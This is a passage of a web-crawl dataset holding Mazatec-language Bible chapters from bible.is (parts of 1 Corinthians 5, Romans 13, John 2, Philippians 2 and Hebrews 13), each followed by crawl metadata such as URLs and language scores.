8Koií kjoa̱‑la̱ jñá, k'oa̱á s'ín ki̱náchrjeé s'eí nga jyeé kisìkítsa̱jnandei̱í‑ná Nainá kjoa̱ ts'e̱ jé, koni s'ín xi̱ta̱ Israel k'e̱ nga Paxko̱ nga sítsjeè ni'ya‑la̱ nga faáxìn yije na̱'yo̱ san. Jñá, k'oa̱á ti̱s'ín chja̱àxián kjoa̱ ts'e̱ jé ko̱ kjoa̱ ch'o ko̱ nguì kjoa̱tsjeè ko̱ kjoa̱kixi̱ si̱kjeén k'oa̱á ngaya‑la̱ koni i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san. 9Jè xo̱jo̱n xi kisìkasén ítjòn‑nò, k'oa̱á kixan‑nò nga mì ya̱ koa̱hijtako̱o jñà xi̱ta̱ xi kjoa̱ chijngui s'ín. 10K'e̱ nga k'oa̱ kixan‑nò, mìtsà jñà kisìkaxkia̱ jñà xi̱ta̱ i̱sò'nde xi kjoa̱ chijngui s'ín, ko̱ jñà xi tse mejèn‑la̱, ko̱ jñà xi̱ta̱ chijé, ko̱ jñà xi xkósòn beèxkón. Xi̱ta̱ koi, xki̱ xi ján satíkjoò. Ta jè xi ko̱ma ki̱nchat'aàxìn‑là tsà xìn i̱sò'nde onguió. 11Jñà 'én xi kixan‑nò, jè‑né nga mì ya̱ tsjahijtako̱o jñà xi tsò nga xi̱ta̱‑la̱ Cristo xi 'ndsè chibá tsà tákó kjoa̱ chijngui nchis'ín, xi̱ta̱ xi tse mejèn‑la̱, xi xkósòn beèxkón, xi ch'o chja̱jno‑ná, xi xán 'biì, xi chijé s'ín. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, skanda mìkiì mochjeén nga ki̱chiko̱o. 12- 13Mìtsà jñá oko̱‑ná nga bíndaàjiìn‑lá jñà xi̱ta̱ i̱sò'nde. Jè Nainá ki̱ìndaàjiìn‑la̱ jñà xi̱ta̱ koi. Ta̱nga jñò oko̱‑nò nga kíndaàjiìn‑là xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi tsa̱jòn. K'oa̱á ma‑ne nga xan‑nò, chja̱àxiòn jè xi̱ta̱ xi ch'o tís'ín xi ya̱ tíjnajiìn‑nò.\n1 Corintios 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/5","date":"2013-12-09T11:03:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163961998\/warc\/CC-MAIN-20131204133241-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":412,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì xi̱ta̱ nda katasíhitjasòn‑la̱ jñà ra xi̱ta̱xá, tà nga̱tjì‑la̱ tsìn jngo xi̱ta̱ ra xá tjín‑la̱ ra mì a̱'ta 'tse̱ Nainá nchrabá‑ni; ko̱ nga'tsì jñà xi̱ta̱ ra tjín‑la̱ xá, jè Nainá xá ko̱'sín tsikítsa̱jna‑ni nga xi̱ta̱xá ma. 2'Koa̱á ma‑ni jñà xi̱ta̱ ra sítája‑la̱ kjo̱téxoma‑la̱ xi̱ta̱xá, kondra̱á títsa̱jna‑la̱ jñà xi̱ta̱ ra xá Nainá tsikítsa̱jna‑ni; jñà xi̱ta̱ ra ko̱'sín sítája, ti̱jñà bátsji‑ila̱ kjo̱hi'in ijo‑la̱. 3Jñà xi̱ta̱xá, mì tsa ki xá títsa̱jna‑ni nga jñà ki̱ncháxkón‑la̱ xi̱ta̱ ra nda 'sín, ta jñá‑ní xi̱ta̱ ra 'cho 'sín; tsa mejèn‑li nga mì kì ki̱skón‑la̱ jñà xi̱ta̱xá, nda 'ti̱ìn, ko̱ jñà xi̱ta̱xá ndaá si̱ìkíjna‑li. 4Nga̱ jñà xi̱ta̱xá, xá 'tse̱ Nainá‑ní ra i̱nchisísin mé‑ní nga nda ki̱jna‑ni ra ji̱; tanga tsa 'cho tjín kjoa̱ ra tji'nì, ti̱skón‑ní. Nga̱ mì tsa ta ya̱‑ni nga xá tjín‑la̱ xi̱ta̱xá; jñà xi̱ta̱xá, tjí'ndeé‑la̱ nga tsjá‑li kjo̱hi'in. Nga̱ xá‑la̱ Nainá i̱nchi'sín nga nda ki̱ìndajín‑la̱ xi̱ta̱ ko̱ nga tsjá‑la̱ kjo̱hi'in xi̱ta̱ ra 'cho 'sín. 5'Koa̱á ma‑ni nga machjeén‑ní nga nda kjòn si̱hitjasén koni 'sín tsò xi̱ta̱xá, mì tsa tà ki‑ni nga kjo̱hi'in tsjá‑ná; ta ki‑ní nga xá 'koa̱á 'sín tjínè‑la̱ nga si̱hitjasén. 6'Koa̱á ma‑ni nga ko̱'sín katamachjí jè to̱n ra síjé xi̱ta̱xá, nga̱ jñà xi̱ta̱xá, 'koa̱á 'sín i̱nchisíhitjasòn‑la̱ Nainá nga ni̱chjin nchijón‑ní kií xá i̱nchi'sín. 7Tíchjí ijye tsa mé ra tje̱n‑no; jè ra tje̱n‑la̱ to̱n ra síjé xi̱ta̱xá, kátíchjí; jè ra tje̱n‑la̱ tsajmì ra machjítjì, katabíchjítjì‑te; jè xi̱ta̱ ra machjeén‑la̱ nga jcha̱xkón, kata'yaxkón; jè xi̱ta̱ ra machjeén‑la̱ nga nda ki̱náchrjengi, ko̱'sín nda ti̱náchrjengio. 8Kì tà chjàn yá ra tsjen'tin‑la; tanga tjín jngo kjoa̱ ra machjeén nga mì kì jcha̱àjin‑ná nga tje̱n'tin‑ná, jè‑ní nga tsjacha 'sie̱én xàngie̱é. Nga̱ jè xi̱ta̱ ra tsjake xákjién, ijyeé tísíhitjasòn ijye Kjo̱téxoma. 9Jñà kjo̱téxoma, tsó‑ní: \"Kì kjoa̱chijngi 'nì, kì xi̱ta̱ nì'kin, kì chijé 'nì, kì 'én ndiso nakjí, kì xàngio̱o maxitakòn‑cha.\" Nga'tsì kjo̱téxoma kìi̱, ko̱ tsa mé kjo̱téxoma-isa‑nioo̱, ya̱á majngoko̱ ijye‑ni ra tsò: \"Tsjacha 'ti̱ìn jñà xi̱ta̱ xàngi̱i nga koni 'sín nga tsjachi ijo‑li.\" 10Jè ra kjoa̱tsjacha, mì tsa 'cho síko̱ jñà xàngie̱é; jè ra tsjake xi̱ta̱ xákjén ijyeé nda tísíhitjasòn Kjo̱téxoma. 11Ko̱'sín 'sie̱én koni 'sín nga tíxin‑no. Ijyeé i̱nchi'ya‑ná jè ni̱chjin ra titsa̱jneé 'ndi̱‑ni̱. Ijchò‑la̱ chi̱ba̱‑la̱ nga si̱'ká‑lá ijo‑ná, nga̱ ijyeé 'ñó tímachraña'tá‑ná ni̱chjin nga jngo kjá ki̱tsa̱jnandie̱é ra kjoa̱ 'tse̱ jé‑ná, koni 'kia̱ nga ti̱'sa̱ kjokjiín‑ná a̱'ta 'tse̱ Cristo. 12Ijyeé 'ñó ni̱tje̱n, ijyeé tímachraña nga 'se̱ i̱sén nga ìjngo‑isa ni̱chjin xi̱tse̱ ki̱tsa̱jneé. Ki̱náchrjengieé nga'tsì kjoa̱'cho ra ma ñánda̱ nga jñò chon ko̱ ki̱tsa̱jnandeé koni jngo chíchàn ra kjábé ki̱cha̱‑la̱; jién chjíbé nga'ñó‑la̱ Nainá ra tsjá‑ná ya̱ ñánda̱ nga i̱sén chon. 13Machjeén‑ní nga nda kjòn si̱jché ijo‑ná nga ngi iseén ki̱meé. Mì kì machjeén nga bato 'ñó si̱sieén ra 'sí. Mì kì machjeén nga xi̱ta̱ 'chi̱ ko̱meé. Mì kì machjeén nga íchjín kjóhijtake̱é, ko̱ mì kì ma jndíi̱ ján 'se̱é‑ná íchjín. Mì kì machjeén nga xi̱ta̱ ki̱xkàn‑ke̱é. Ko̱ mì kì machjeén nga kjoa̱xìtakòn ko̱híjcha‑lá jñà xi̱ta̱ xàngie̱é. 14'Koa̱á 'sín katatsíjen jiòn koni 'sín 'ki Cristo. Kì tà chjàn jñà 'bì‑la ijo‑no koni 'sín tjín kjoa̱'cho ra mejèn‑la̱.\nRomanos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/13","date":"2013-12-21T14:16:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345775611\/warc\/CC-MAIN-20131218054935-00090-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":488,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi komà jàn na̱chrjein, kis'e jngoò s'eí nga chixàn xi̱ta̱ ján na̱xa̱ndá Caná, ya̱ nangui Galilea. Ti̱koa̱á ya̱á tíjna jè nea̱‑la̱ Jesús. 2Ti̱koa̱ kinokjoà‑la̱ Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ya̱ ñánda chixàn xi̱ta̱. 3K'e̱ nga jyehet'aà vino, jè nea̱‑la̱ Jesús kitsò: ―Mì ti̱ mé vino tjín‑ne. 4Jesús kitsò: ―¿Mé xi ma‑lè? ¿Mé‑ne 'a̱n kò'mì‑ná? Kj'eè kiì bijchó na̱chrjein‑na̱ nga skoe̱‑na̱ xi̱ta̱ yá‑ná 'a̱n. 5Jè nea̱‑la̱ Jesús kitsò‑la̱ jñà xi̱ta̱ xi bíya vino: ―K'oa̱á s'ín ti̱kitasòn yije‑là koni s'ín tsò‑nò. 6Ya̱ títsa̱jna joòn ti̱jí nda̱jo̱ xi sinchá nandá, xi síkjeén jñà xi̱ta̱ judío nga ma sítsjeè‑ne tsojmì xi tjín‑la̱ koni s'ín tjín kjo̱tíxoma‑la̱ xi xkón tjín. Jñà ti̱jí kjiyaá‑la̱ tsà jò ko̱ tsà jàn nisa nandá. 7Jesús kitsò‑la̱ jñà xi̱ta̱ chi̱'nda xi nchibíya vino: ―Ti̱nchaà nandá ti̱jí koi. Jñà xi̱ta̱ chinchá nandá; jngoò k'aá kisìtseè. 8I̱kjoàn kitsò Jesús: ―Ti̱nachrjeè chiba vino; tanguíko̱‑là jè xi tísís'in‑la̱ xi̱ta̱. K'e̱é kiìko̱‑la̱. 9Jè xi̱ta̱ xi oko̱‑la̱ nga tísís'in‑la̱ jñà xi̱ta̱, kiskoòt'aà nandá xi vino komà; xi̱ta̱ jè, mìkiì tíjiìn‑la̱ ñánda j'iì‑ne. (Tà jñá tíjiìn‑la̱ xi̱ta̱ chi̱'nda xi tsachrje nandá.) Jè xi̱ta̱ xi oko̱‑la̱, k'e̱é kiìchja̱‑la̱ xi̱ta̱ x'i̱n xi chixàn, 10kitsò‑la̱: ―Ngats'iì xi̱ta̱, jè tsjá ítjòn vino xi 'ñó ndaà; k'e̱ nga jye 'ñó 'biì jñà xi̱ta̱, k'e̱é tsjá xi chiba ndaà. Ta̱nga ngaji̱, kòbinchatjó‑né xi 'ñó ndaà, skanda sa̱á tì'biì. 11Jè kjo̱xkón xi kis'iìn ítjòn Jesús ján na̱xa̱ndá Caná nangui xi chja̱‑ne Galilea; k'oa̱á s'ín tsakó kjoa̱ jeya‑la̱ ko̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kòkjeiín‑la̱ i̱t'aà ts'e̱. 12Xi jye komà i̱skan, Jesús kiì ján na̱xa̱ndá Capernaum; kiìko̱ nea̱‑la̱, 'ndse̱, ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Tà chibaá na̱chrjein tsibìtsa̱jna ya̱ na̱xa̱ndá jè. 13Nga jye nchrobá machrañà s'eí‑la̱ xi̱ta̱ judío xi bitjo k'e̱ nga itjokàjiìn kjo̱'in ján nangui Egipto, Jesús kiì ján Jerusalén. 14K'e̱ nga jahas'en i̱ngo̱ ítjòn, kijtseè nga tjín xi̱ta̱ ya̱ ndi̱tsin i̱ngo̱ xi nchihotíjna nchra̱ja̱ ko̱ orrè ko̱ paloma; ti̱koa̱ títsa̱jna xi síkjatjìya to̱n. 15Jesús tsibíndaà jngoò na'ñó xi tsajá‑la̱ jñà xi̱ta̱ nga tsachrje yije ya̱ ndi̱tsin i̱ngo̱, ko̱ nchra̱ja̱ ko̱ orrè. Tsibíxteèn to̱n‑la̱ jñà xi síkjatjìya to̱n. Jngoò k'aá chinchá ngajten ími̱xa̱‑la̱. 16Jñà xi̱ta̱ xi nchihotíjna ni̱se paloma, kitsò‑la̱: ―Ti̱nachrjeè yije cho̱ koi; kì ni'ya ndi̱tsi̱n 'nè ni'ya‑la̱ Na̱'èn‑na̱. 17Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ k'e̱é tsibítsjeèn‑la̱ nga k'oa̱s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"'Ñó matsjake̱ ni'ya‑lè; koií kjoa̱‑la̱ nga machi̱ni̱keè.\" 18Jñà xi̱ta̱ judío kiskònangui‑la̱ Jesús, kitsò‑la̱: ―¿Mé kjo̱xkón xi okoò‑náje̱n nga tjín‑lè kjo̱tíxoma i̱t'aà ts'e̱ kjoa̱ xi 'nì? 19Kiìchja̱ Jesús kitsò‑la̱: ―Ti̱kixàña i̱ngo̱ jè, 'a̱n, jàn na̱chrjein kìndàyà ìjngoò k'a‑na̱. 20Kitsò jñà xi̱ta̱ judío: ―I̱ngo̱ jè ichán joòn nó kisindaà‑ne, koa̱ ji̱, ¿a tà jàn na̱chrjein kíndaà xi̱tse̱ ìjngoò k'a‑ne? 21Ta̱nga jè i̱ngo̱ xi kisìkaxki̱ Jesús, jè yijo‑la̱ xi o̱kitsò‑la̱. 22K'e̱ nga jye jaáya‑la̱ Jesús nga k'en, k'e̱é tsibítsjeèn‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ 'én xi o̱kitsò. K'e̱é kòkjeiín‑la̱ koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá ko̱ 'én xi kiìchja̱ Jesús. 23Jesús k'e̱ nga tsibìjna s'eí Paxko̱ ján Jerusalén, kjìn xi̱ta̱ kòkjeiín‑la̱ i̱t'aà ts'e̱ k'e̱ nga kijtseè kjo̱xkón xi kis'iìn. 24Ta̱nga Jesús mìtsà nguì ndaà tíjngoò ikon i̱t'aà ts'e̱ xi̱ta̱ koi, nga jyeé beèxkon yije xi̱ta̱. 25Jesús mìkiì mochjeén‑la̱ nga kj'ei̱í xi̱ta̱ o̱ki̱tso̱‑la̱ kó s'ín jñà xi̱ta̱; jè, jyeé beè ini̱ma̱‑la̱ xi̱ta̱ kós'ín síkítsjeèn.\nSan Juan 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/2","date":"2013-12-10T20:40:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164025146\/warc\/CC-MAIN-20131204133345-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":517,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò, nga Cristo tsjá‑la̱ nga'ñó ini̱ma̱‑nò, ko̱ nga jè kjoa̱tjòcha síje takòn‑nò, ko̱ nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà síkítsa̱jnajtín‑nò nga nìxákjoò, ko̱ nga nguì ko̱ó ini̱ma̱‑nò tjín‑nò kjo̱hi̱ma̱takòn, 2k'oa̱á ma‑ne nga síjé‑nò nga ta jngoò kjo̱hítsjeèn kàtas'e‑nò, jngoò kjoa̱tjòcha, ngásòn t'è‑là takòn, ko̱ ngásòn chibà‑nò mé xi nìkítsjeèn mé‑ne nga ìsa̱ ndaà ko̱tsja‑na. 3Kì kjoa̱ 'nga takòn onguíchjaà, ko̱ kì 'nga nìkítsa̱jna yijo‑nò. Ta̱ sa̱á nangui ti̱kítsa̱jna yijo‑nò, k'oa̱á s'ín jcha̱xkón xi̱ta̱ xi kj'ei̱í koni tsà jñà títsa̱jna ítjòn. 4Kì ta koi nìkájno xi kjo̱ndaà tsa̱jòn. Ti̱koa̱á ti̱kájno‑nò mé xi mochjeén‑la̱ xi̱ta̱ xi kj'ei̱í. 5K'oa̱á tjín kjo̱hítsjeèn xi kàtas'e‑nò koni tjín kjo̱hítsjeèn xi tjín‑la̱ Cristo Jesús. 6Na̱s'ín ti̱jè sobà‑ne Nainá, mìtsà ko̱s'ín kisìkítsjeèn nga kjo̱'ñó mejèn‑la̱ nga ko̱s'ín kíjna koni s'ín tíjna Nainá. 7Ta sa̱á 'ñó nangui kisìkíjna yijo‑la̱ nga ko̱s'ín tsibìjna koni jngoò xi̱ta̱ chi̱'nda, koni xi ta̱xki̱ xi̱ta̱ i̱sò'nde. 8K'e̱ nga jye ta̱xki̱ xi̱ta̱ komà, kisìkajeén‑la̱ ini̱ma̱‑la̱ nga ndaà kisìkitasòn yije‑la̱ Nainá skanda kó nga k'en nga ya̱ kinìk'en‑t'aà krò. 9K'oa̱á ma‑ne, Nainá, k'e̱ nga jye kisìkjaáya‑la̱, ta̱xki̱ 'ñó 'nga kisìkíjna. Kitsjaà jngoò‑la̱ 'ín xi ìsa̱ 'ñó 'nga tíjna mé‑ne jè ko̱tìxoma yije‑la̱ xi̱ta̱. 10Mé‑ne nga i̱t'aà ts'e̱ Jesús ki̱ncha-xkó'nchi‑la̱ ngats'iì xi títsa̱jna ngajmiì, xi títsa̱jna i̱ i̱t'aà nangui, ko̱ xi títsa̱jna i̱jiìn nangui. 11K'oa̱á s'ín ki̱tso̱ ngats'iì xi̱ta̱ nga Jesucristo, jè xi otíxoma; k'oa̱á ma‑ne nga jeya kíjna Nainá xi Na̱'èn‑ná. 12K'oa̱á ma‑ne, jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, k'e̱ nga tsohóti̱jnako̱‑nò, kjit'aà na̱chrjein ndaà kinìkitasòn. I̱'ndei̱ nga kjiìn tìjna̱a, tákó k'oa̱s'ín ndaà ti̱kitasòn. K'oa̱s'ín t'e̱en nga kàta'ya‑nò nga jyeé itjokàjñoò kjo̱'in kjoa̱ ts'e̱ jé‑nò koií kjoa̱‑la̱ nga 'ñó tsakjoòn‑chaà yijo‑nò. 13Nga̱ jè Nainá xi ndaà tísíxájiìn ini̱ma̱‑nò. Jè síkítsjeèn‑nò nga k'oa̱á s'ín mejèn‑nò koni s'ín ndaà sasén‑la̱ Nainá ko̱ ti̱jè‑ne xi tsjá‑nò nga'ñó nga ma k'oa̱s'ín 'nè. 14Ndaà t'e̱en yije ni̱ta̱ mé kjoa̱‑ne; kì ta̱xki̱ tsajét'aà‑là Nainá ko̱ kì chitiya‑nò ni̱ta̱ mé kjoa̱‑ne. 15K'oa̱á s'ín ko̱ma‑ne nga i̱xti tsjeè‑la̱ Nainá k'oín‑nò; ni̱mé jé s'e̱‑nò nga titsa̱jnajiìn‑là xi̱ta̱ ts'e̱n ko̱ xi ch'o s'ín; jñò, k'oa̱á s'ín kàta'ya‑nò koni ni'ín‑la̱ ni'ño xi síhiseèn ñánda jñò choòn. 16Ti̱ka'bísòn 'én ndaà xi síkíjnakon ini̱ma̱‑ná, mé‑ne jè na̱chrjein k'e̱ nga kjoi̱í ìjngoò k'a Cristo, ndaà ko̱tsja‑na nga mìtsà ta kjo̱tjò koni s'ín kis'iaàn nga 'ñó kisìxájiìn‑nò nga tsakoòya‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 17'A̱n, matsjaá‑na ko̱ síjngoaà kjo̱tsja xi tjín‑nò na̱s'ín kjo̱'in tìsìkjiaán koni jñò nga kjo̱'in titsa̱nìkjioón nga koií kjoa̱‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo. Kjo̱'in xi tjín‑nò k'oa̱á ngaya‑la̱ koni jngoò kjo̱tjò xi jñò 'biì‑là Nainá, ko̱ jè kjo̱'in xi 'a̱n tjín‑na ti̱koa̱á 'a̱n tsjaà‑la̱ Nainá koni kjo̱tjò tsa̱jòn. 18Jñò, k'oa̱á ti̱s'ín kàtatsja‑nò mé‑ne ko̱jngoò‑ne kjo̱tsja xi tjín‑ná. 19K'oa̱á s'ín tísíkítsjeèn, tsà Na̱'èn‑ná Jesús mejèn‑la̱ nga sìkasén ni̱to̱n‑nò Timoteo, mé‑ne 'a̱n ko̱tsja‑na k'e̱ nga kjoi̱íko̱‑na o̱kixi̱ i̱t'aà tsa̱jòn kós'ín titsa̱jnaà. 20Mì ti̱ yá xi̱ta̱ tjín ìsa̱‑na xi k'oa̱s'ín ngásòn síkájno i̱t'aà tsa̱jòn koni jè Timoteo. 21Ngats'iì xi̱ta̱ xi kj'ei̱í, saà kjo̱ndaà ts'e̱é ótsji, mìkiì ótsji xi kjo̱ndaà ts'e̱ Cristo. 22Jñò, jyeé ndaà tíjiìn‑nò, jè Timoteo xi̱ta̱ kixi̱‑né. Ndaà síchját'aà‑na i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, k'oa̱á ngaya‑la̱ koni tsà ki'ndí ts'a̱n‑ná. 23Tìkoña kjoa̱‑ná nga sìkasén‑nò Timoteo k'e̱ nga skoeè kós'ín si̱ndaàjiìn kjoa̱‑na̱. 24Ta̱nga jè Na̱'èn‑ná ma'ñót'aà takoàn, nga tsjá'nde‑na nga ti̱koa̱ 'a̱n ko̱ma kjíkon ni̱to̱n‑nò. 25Ta̱nga k'oa̱á s'ín kisìkítsjeèn nga ítjòn siìkasén ìjngoò k'a‑nò jè 'ndsè Epafrodito. Ndaà kisìxáko̱‑na. K'oa̱á s'ín tsajmeiìko̱‑na koni jngoò soldado nga bixkàn‑tji‑je̱n 'én‑la̱ Nainá. Nainá kàtíchjí‑nò nga kinìkasén‑ná k'e̱ nga 'ñó tímochjeén‑na. Ndaà kisìchját'aà‑na. 26I̱'ndei̱, mejèn‑la̱ nga skoe̱xkon‑nò ngats'ioò, 'ñó tísíkájno nga jñò jyeé kina'yà nga kjòxk'én‑né. 27Kixi̱í kjoa̱ nga kjòxk'én‑né, kjo̱meé k'en. Ta̱nga Nainá kjòhi̱ma̱keè; mìtsà ta jè xi kjòhi̱ma̱keè, ko̱ó 'a̱n, mé‑ne nga mì ìsa̱ tse kjoa̱ba s'e̱‑na. 28K'oa̱á ma‑ne nga tìsìkasén ni̱to̱n‑nò, mé‑ne k'e̱ nga jcha̱xkoòn ìjngoò k'a, ko̱tsja‑nò i̱t'aà ts'e̱, koa̱ 'a̱n, tjáxìn chiba‑na kjoa̱ba. 29Chjoétjò nga ko̱ kjo̱tsja‑nò nga 'ndseé chibá i̱t'aà ts'e̱ Na̱'èn‑ná. Cha̱xkón yije xi ngásòn ok'ìn‑la̱ koni jè. 30Koií kjoa̱‑la̱ i̱t'aà ts'e̱ xá‑la̱ Cristo nga kjo̱meé k'en. Jè kjoa̱ xi jñò mìkiì komà kinìchját'aà‑ná, jé Epafrodito, 'ñó tsibínè‑la̱ yijo‑la̱ nga ndaà kisìchját'aà‑na na̱s'ín kjo̱meé k'en.\nFilipenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/2","date":"2013-12-12T18:52:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164676172\/warc\/CC-MAIN-20131204134436-00052-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":666,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò, ti̱tsjacha xi̱ta̱ xinguio̱o xi 'ndsè chibá xi i̱t'aà ts'e̱ Cristo. 2Kì nìjchàajioòn jñà xi̱ta̱ xi bijchókon‑nò ni'ya‑nò, ti̱s'in‑là nga kàtasíkjáya. K'oa̱á komàt'in i'nga xi̱ta̱, kiskoétjò xi̱ta̱ xi mìkiì beèxkon, ta̱nga àkja̱le̱‑né. 3Ti̱kítsjeèn jñà xi̱ta̱ xi nda̱yá títsa̱jna; k'oa̱s'ín t'è‑là takòn koni tsà ngásòn kjo̱'in titsa̱jnaà. Ti̱kítsjeèn jñà xi̱ta̱ xi tíyatoòn koni tsà jñò xi ti̱koa̱ k'oa̱s'ín tíyatoòn‑nò. 4Jñò xi jye chixàn, ngásòn jcha̱xkón xinguio̱o. Kì ch'o bitsa̱jnako̱o xinguio̱o. Nga jñà xi kjoa̱chijngui s'ín, Nainá tsjá‑la̱ kjo̱'in. 5Kì to̱ón 'ñó matsjacha; kàtajngoò takòn koni kji tjín‑nò. Nainá k'oa̱á tsò: \"Mìkiì tsjeiìn takòn‑nò, ko̱ mìkiì ta̱jngoò siìkíjna‑nò.\" 6K'oa̱á ma‑ne nga ma k'oa̱s'ín kixoán: Jè Na̱'èn‑ná ko̱si̱ko̱‑ná, mìkiì ki̱skoán mé kjoa̱ xi si̱ko̱‑ná xi̱ta̱. 7Ti̱kítsjeèn jñà xi̱ta̱ xi chincha ítjòn nga tsakóya‑nò 'én‑la̱ Nainá; ti̱kítsjeèn kó s'ín kisìjchá yijo‑la̱ xi̱ta̱ koi ko̱ k'oa̱á s'ín chjínguì‑là koni s'ín kòkjeiín‑la̱. 8Jesucristo mìkiì fatjìya, ti̱jè‑ne ngojña̱, ti̱jè‑ne na̱chrjein i̱'ndei̱, ko̱ ti̱jè‑ne ni̱ta̱ mé na̱chrjein‑ne. 9Kì kiì nìs'in‑là kjo̱hítsjeèn xi kj'ei̱í tsò ko̱ xi mìkiì yaxkon‑la̱ nga xìn ndi̱yá fìko̱‑ná. Ìsa̱á ndaà tjín nga jè ini̱ma̱‑ná s'e‑la̱ nga'ñó i̱t'aà ts'e̱ kjo̱ndaà‑la̱ Nainá mì k'oa̱á‑ne koni ts'e̱ tsojmì xi ma chine; nga jñà tsojmì xi ma chine, ni̱mé nga'ñó kitsjaà‑la̱ jñà xi k'oa̱ tjín kjoa̱ kisìs'in‑la̱. 10Jñá, tjín jngoò‑ná i̱'nde tsjeè [ñánda kitsjaà kjo̱tjò yijo‑la̱ Cristo nga k'en], ta̱nga jñà no̱'miì xi tákó ya̱ síxá i̱t'aà ts'e̱ kjoa̱ jchínga ya̱ Ni'ya xi nikje, mìkiì tjí'nde‑la̱ nga tjoé‑la̱ kjo̱ndaà nga ya̱ ko̱kje̱n. 11Nga̱ jè yijo‑la̱ cho̱ xi sík'en jñà no̱'miì, [mìkiì tjí'nde‑la̱ nga tjoé‑la̱ nga ski̱ne̱]; ta jè jní‑la̱ cho̱ fìko̱ jè no̱'miì ítjòn ya̱ i̱'nde tsjeè‑la̱ Nainá xi kjoa̱ ts'e̱ jé. Ta̱nga jè yijo‑la̱ cho̱, i̱t'aà xìn i̱'nde fìko̱ nga tì. 12K'oa̱á ti̱s'ín komàt'in Jesús, i̱t'aà xìn‑la̱ na̱xa̱ndá kisìkjeiín kjo̱'in, mé‑ne nga kisìtsjeè‑ne na̱xa̱ndá i̱t'aà ts'e̱ xi nguì jní ts'e̱. 13K'oa̱á ma‑ne jñá, ki̱tjokàjñaá na̱xa̱ndá. Jè kji̱tji̱ngui‑lá Jesús nga si̱kjiaán‑koa̱á kjo̱'in xi jè kisìkjeiín. 14Nga i̱ i̱t'aà nangui tsjìn‑ná na̱xa̱ndá xi nguì jngoò k'a tíjna ni̱ta̱ kjé‑ne; jè titsa̱chiñá‑lá na̱xa̱ndá xi i̱skan ko̱tsejèn. 15Koi kjoa̱‑la̱ mochjeén‑né nga kjit'aà na̱chrjein jeya si̱kíjnaá Nainá i̱t'aà ts'e̱ Jesucristo koni jngoò kjo̱tjò xi 'bì‑lá Nainá, 'én xi nguì tso'baá bitjo‑ne nga bèno̱jmiá yá‑né jè. 16Kì nìjchàajioòn nga ndaà t'e̱en, tjiì i̱tsé‑là xinguio̱o mé xi tjín‑nò; k'oa̱á tjín kjo̱tjò xi sasén‑la̱ Nainá. 17Ti̱kitasòn‑lá jñà xi̱ta̱ xi jncha ítjòn‑nò, ti̱ná'yañijon‑là. Nga̱ jñà síkinda̱‑nò nga mì jchi̱ja ini̱ma̱‑nò koií kjoa̱‑la̱ nga tjínè‑la̱ nga tsjá‑la̱ kinda̱ Nainá. Ti̱kitasòn‑là koni s'ín ki̱tso̱‑nò mé‑ne nga nguì ko̱ kjo̱tsja‑la̱ si̱ìxá‑ne nga mì ba s'e̱‑la̱; tsà ba s'e̱‑la̱, ni̱mé kjo̱ndaà s'e̱‑nò. 18Ti̱jét'aà‑là Nainá i̱t'aà tsa̱je̱n, nga k'oa̱á s'ín tíjngoò takòn‑je̱n nga ndaà tjín kjo̱hítsjeèn‑na̱je̱n, mejèn‑na̱je̱n nga ndaà s'e̱n‑je̱n ni̱ta̱ mé kjoa̱‑ne. 19Ìsa̱á 